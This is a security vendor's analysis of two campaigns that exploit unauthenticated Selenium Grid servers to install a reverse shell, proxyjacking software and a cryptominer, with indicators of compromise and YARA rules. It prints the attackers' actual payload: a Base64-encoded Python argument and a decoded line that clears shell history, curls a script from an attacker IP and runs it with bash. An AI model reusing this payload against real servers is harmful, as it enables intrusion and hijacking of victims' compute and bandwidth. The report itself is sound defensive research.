Introduction: Misuse of Selenium Grid for cryptomining and proxyjacking
Cado Security Labs operates multiple honeypots across various services, enabling the discovery of new malware and campaigns. Recently, Cado Security researchers discovered two campaigns targeting Selenium Grid to deploy an exploit kit, cryptominer, and proxyjacker.
Selenium is an open-source project consisting of various components used for browser automation and testing. Selenium Grid is a server that facilitates running test cases in parallel across different browsers and versions. Selenium Grid is used by thousands of organizations worldwide, including large enterprises, startups, and open-source contributors. The exact number of users is difficult to quantify due to its open-source nature, but estimates suggest that millions of developers rely on Selenium tools. The tool’s flexibility and integration into CI/CD pipelines make it a popular choice for testing web applications across different platforms. However, Selenium Grid's default configuration lacks authentication, making it vulnerable to exploitation by threat actors [1].
Earlier this year, researchers at Wiz published findings on a cryptomining campaign named SeleniumGreed [1], which exploited misconfigured Selenium Grid instances. As a result, Cado Security Labs set up a new honeypot to detect emerging campaigns that exploit misconfigured Selenium Grid instances.
Technical analysis

Due to the misconfiguration in the Selenium Grid instance, threat actors are able to exploit the lack of authentication to carry out malicious activities. In the first attack observed, an attacker used the “goog:chromeOptions” configuration to inject a Base64 encoded Python script as an argument.
As shown in the code snippet below, the attacker specified Python3 as the binary in the WebDriver configuration, which enables the injected script to be executed.
import base64;exec(base64.b64decode(b).decode())"]}}}, "desiredCapabilities": {"browserName": "chrome", "version": "", "platform": "ANY", "goog:chromeOptions": {"extensions": [], "binary": "/usr/bin/python3", "args": ["-cb=b'aW1wb3J0IG9zO29zLnB1dGVudigiSElTVEZJTEUiLCIvZGV2L251bGwiKTtvcy5zeXN0ZW0oImN1cmwgLWZzU0xrIGh0dHA6Ly8xNzMuMjEyLjIyMC4yNDcvYnVyamR1YmFpLy5qYmxhZS95IC1vIC9kZXYvc2htL3kgOyBiYXNoIC9kZXYvc2htL3kgOyBybSAtcmYgL2Rldi9zaG0veSIpCg==';import base64;exec(base64.b64decode(b).decode())"]}}}
import os;os.putenv("HISTFILE","/dev/null");os.system("curl -fsSLk http://173.212.220.247/burjdubai/.jblae/y -o /dev/shm/y ; bash /dev/shm/y ; rm -rf /dev/shm/y")
The script, shown decoded above, sets the HISTFILE variable to “/dev/null”, which disables the logging of shell command history. Following this, the code uses “curl” to retrieve the script “y” from “http://173[.]212[.]220[.]247/burjdubai/.jblae/y” and saves it to a temporary directory “/dev/shm/y”. The downloaded file is then executed as a shell script using bash, with the file deleted from the system to remove evidence of its presence.
The script “y” is GSocket reverse shell. GSocket [2] is a legitimate networking tool that creates encrypted TCP connections between systems; however, it is also used by threat actors for command-and-control (C2) or a reverse shell to send commands to the infected system. For this reverse shell, the webhook is set to “http://193[.]168[.]143[.]199/nGs.php?s=Fjb9eGXtNPnBXEB2ofmKz9”.

A second bash script named “pl” is retrieved from the C2. The script contains a series of functions that:
- Perform system architecture checks.
- Stop Docker containers “watchtower” and “traffmonitizer”.
- Sets the installation path to “/opt/.net/” or “/dev/shm/.net-io/”.
- Depending on the system architecture, IPRoyal Pawn and EarnFM payloads are retrieved from 54[.]187[.]140.5 via curl and wget.
- These are executed with the users’ IPRoyal details passed as arguments:
-accept-tos -email="FunnyRalph69@proton.me" -password="wrapitDown9!"
IPRoyal Pawns is a residential proxy service that allows users to sell their internet bandwidth in exchange for money. The user's internet connection is shared with the IPRoyal network with the service using the bandwidth as a residential proxy, making it available for various purposes, including for malicious purposes. Proxyjacking is a form of cyber exploitation where an attacker hijacks a user's internet connection to use it as a proxy server. This allows the attacker to sell their victim’s IP to generate revenue.

Inside “pl” there is a Base64 encoded script “tm”. This script also performs a series of functions including:
- Checks for root privileges
- Checks operating system
- Checks IPv4 status
- System architecture checks
- Sets TraffMonetizer token to ‘"2zXf0MLJ4l7xXvSEdEWGEOzfYLT6PabwAgWQfUYwCxg="’
- Base64 encoded script to install Docker, if not already running
- Retrieve TraffMonetizer and WatchTower Docker images from Docker registry
- Deletes old TraffMonetizer container

In a second campaign, a threat actor followed a similar pattern of passing a Base64 encoded Python script in the “goog:chromeOptions” configuration to inject the script as an argument. Decoding the Python script reveals a Bash script:
{"capabilities": {"firstMatch": [{}], "alwaysMatch": {"browserName": "chrome", "pageLoadStrategy": "normal", "goog:chromeOptions": {"extensions": [], "binary": "/usr/bin/python3", "args": ["-cimport base64;exec(base64.b64decode(b'aW1wb3J0IG9zO29zLnN5c3RlbSgibm9odXAgZWNobyAnSXlNaEwySnBiaTlpWVhOb0NtWjFibU4w…').decode())"]}}}}

The Bash script checks the system's architecture and ensures it's running on a 64-bit machine, otherwise it exits. It then prepares the environment by creating necessary directories and attempting to remount “/tmp” with executable permissions if they are restricted. The script manipulates environment variables and configuration files, setting up conditions for the payload to run. It checks if certain processes or network connections exist to avoid running multiple instances or overlapping with other malware. The script also downloads an ELF binary “checklist.php” from a remote server with the User-Agent string “curl/7.74.9”. The script checks if the binary has been downloaded based on bytes size and executes it in the background. After executing the payload, the script performs clean up tasks by removing temporary files and directories.
The downloaded ELF binary, “checklist.php”, is packed with UPX, a common packer. However, the UPX header has been removed from the binary to prevent analysis using the unpacker function built into UPX.
Manually unpacking UPX is a fairly straightforward process, as it is well documented. To do this, GNU debugger (GDB) Cado researchers used to step through the packed binary until they reached the end of the UPX stub, where execution control is handed over to the unpacked code. Researchers then dumped the memory maps of the process and reconstructed the original ELF using the data within.
The unpacked binary is written in Golang - an increasingly popular choice for modern malware. The binary is stripped, meaning its debugging information and symbols, including function names have been removed.
When run, the ELF binary attempts to use the PwnKit [3] exploit to escalate to root. This is a fairly old exploit for the vulnerability, CVE-2021-4034, and likely patched on most systems. A number of connections are made to Tor nodes that are likely being used for a C2, that are generated dynamically using a Domain Generation Algorithm (DGA). The victim’s IP address is looked up using iPify. The binary will then drop the “perfcc” crypto miner, as well as a binary named “top” to “~/.config/cron” and “~/.local/bin” respectively. A cron job is set up to establish persistence for each binary.
11 * * * * /.config/cron/perfcc
Additionally, the binary creates two directories in /tmp/. Shown in Figure 6 is the directory “/tmp/.xdiag” that is created and contains multiple files and folders. The second directory created is “/tmp/.perf.c”, shown in Figure 7, includes a copy of the original binary that is named based on the process it has been injected into, in this example it is “systemd”. A PID of the process is stored in “/tmp”/ as “/.apid”. Inside the “/tmp/.perf.c” directory is also a UPX packed XMRig binary named “perfcc”, used for cryptomining.


“Top” is a Shell Script Compiler (SHC) compiled ELF binary. SHC compiles Bash scripts into a binary with the contents encrypted with ARC4, making detection and analysis more difficult.

This script checks for the presence of specific environment variables to determine its actions. If the “ABWTRX” variable is set, it prints a message and exits. If the “AAZHDE” environment variable is not set, the script adjusts the PATH, sets up cleanup traps, forcefully terminates any “perfctl” processes, and removes temporary files to clean up any artifacts. Finally, it executes the “top” command to display system processes and their resource usage.
Key takeaways
While this is not the first time Selenium Grid has been exploited by threat actors, this campaign displays another variation of attack that can occur in misconfigured instances. It is also worth noting that similar attacks have been identified in other vulnerable services, such as GitHub. The LABRAT campaign identified by sysdig [4] last year exploited a vulnerability in GitLab for cryptomining and proxyjacking.
As many organizations rely on Selenium Grid for web browser testing, this campaign further highlights how misconfigured instances can be abused by threat actors. Users should ensure authentication is configured, as it is not enabled by default. Additionally, organizations can consider a DFIR, such as Cado (acquired by Darktrace) to quickly respond to threats while minimizing potential damage and downtime.
Indicators of compromise
54[.]187[.]140[.]5
173[.]212[.]220[.]247
193[.]168[.]143[.]199
198[.]211[.]126[.]180
154[.]213[.]187[.]153
http://173[.]212[.]220[.]247/burjdubai/.jblae/pl
http://173[.]212[.]220[.]247/burjdubai/.jblae/y
Tor nodes
95[.]216[.]88[.]55
146[.]70[.]120[.]58
50[.]7[.]74[.]173 www[.]os7mj54hx4pwvwobohhh6[.]com
129[.]13[.]131[.]140 www[.]xt3tiue7xxeahd5lbz[.]com
199[.]58[.]81[.]140 www[.]kdzdpvltoaqw[.]com
212[.]47[.]244[.]38 www[.]fkxwama7ebnluzontqx2lq[.]com
top : 31ee4c9984f3c21a8144ce88980254722fd16a0724afb16408e1b6940fd599da
perfcc : 22e4a57ac560ebe1eff8957906589f4dd5934ee555ebcc0f7ba613b07fad2c13
pwnkit : 44e83f84a5d5219e2f7c3cf1e4f02489cae81361227f46946abe4b8d8245b879
net_ioaarch64 : 95aa55faacc54532fdf4421d0c29ab62e082a60896d9fddc9821162c16811144
efm : 96969a8a68dadb82dd3312eee666223663ccb1c1f6d776392078e9d7237c45f2
MITRE ATTACK
Resource Hijacking : T1496
Ingress Tool Transfer : T1005
Command and Scripting Interpreter Python : T1059.006
Command and Scripting Interpreter Unix Shell : T1059.004
Scheduled Task Cron : T1053.003
Hijack Execution Flow Dynamic Linker Hijacking : T1574.006
Deobfuscate/Decode Files or Information : T1140
Indicator Removal Clear Command History : T1070.003
Indicator Removal File Deletion : T1070.004
Software Packing : T1027.002
Domain Generation Algorithm : T1568.002
Detection
Paths
/tmp/.xdiag
/tmp/.perf.c
/etc/cron.*/perfclean
/.local/top
/.config/cron/top
/tmp/.apid
Yara rules
rule ELF_SHC_Compiled
{
meta:
description = "Detects ELF binaries compiled with SHC"
author = "tgould@cadosecurity.com"
date = "2024-09-03"
strings:
$shc_str = "=%lu %d"
$shc_str2 = "%s%s%s: %s\n"
$shc_str3 = "%lu %d%c"
$shc_str4 = "x%lx"
$getenv = "getenv"
condition:
uint32be(0) == 0x7f454c46 and
any of ($shc_str*) and $getenv
}
rule Detect_Base64_Obfuscation_Py
{
meta:
description = "Detects obfuscated Python code that uses base64 decoding"
author = "tgould@cadosecurity.com"
date = "2024-09-04"
strings:
$import_base64 = "import base64" ascii
$exec_base64_decode = "exec(base64.b64decode(" ascii $decode_exec = "base64.b64decode(b).decode())" ascii
condition:
all of ($import_base64, $exec_base64_decode, $decode_exec)
}
rule perfcc_script
{
meta:
author = "tgould@cadosecurity.com"
description = "Detects script used to set up and retrieve Perfcc"
strings:
$env = "AAZHDE"
$dir = "mkdir /tmp/.perf.c 2>/dev/null"
$dir_2 = "mkdir /tmp/.xdiag 2>/dev/null"
$curl = "\"curl/7.74.9\""
$command = "pkill -9 perfctl &>/dev/null"
$command_2 = "killall -9 perfctl &>/dev/null"
$command_3 = "chmod +x /tmp/httpd"
condition:
$env and ($dir or $dir_2) and any of ($command*) and $curl
}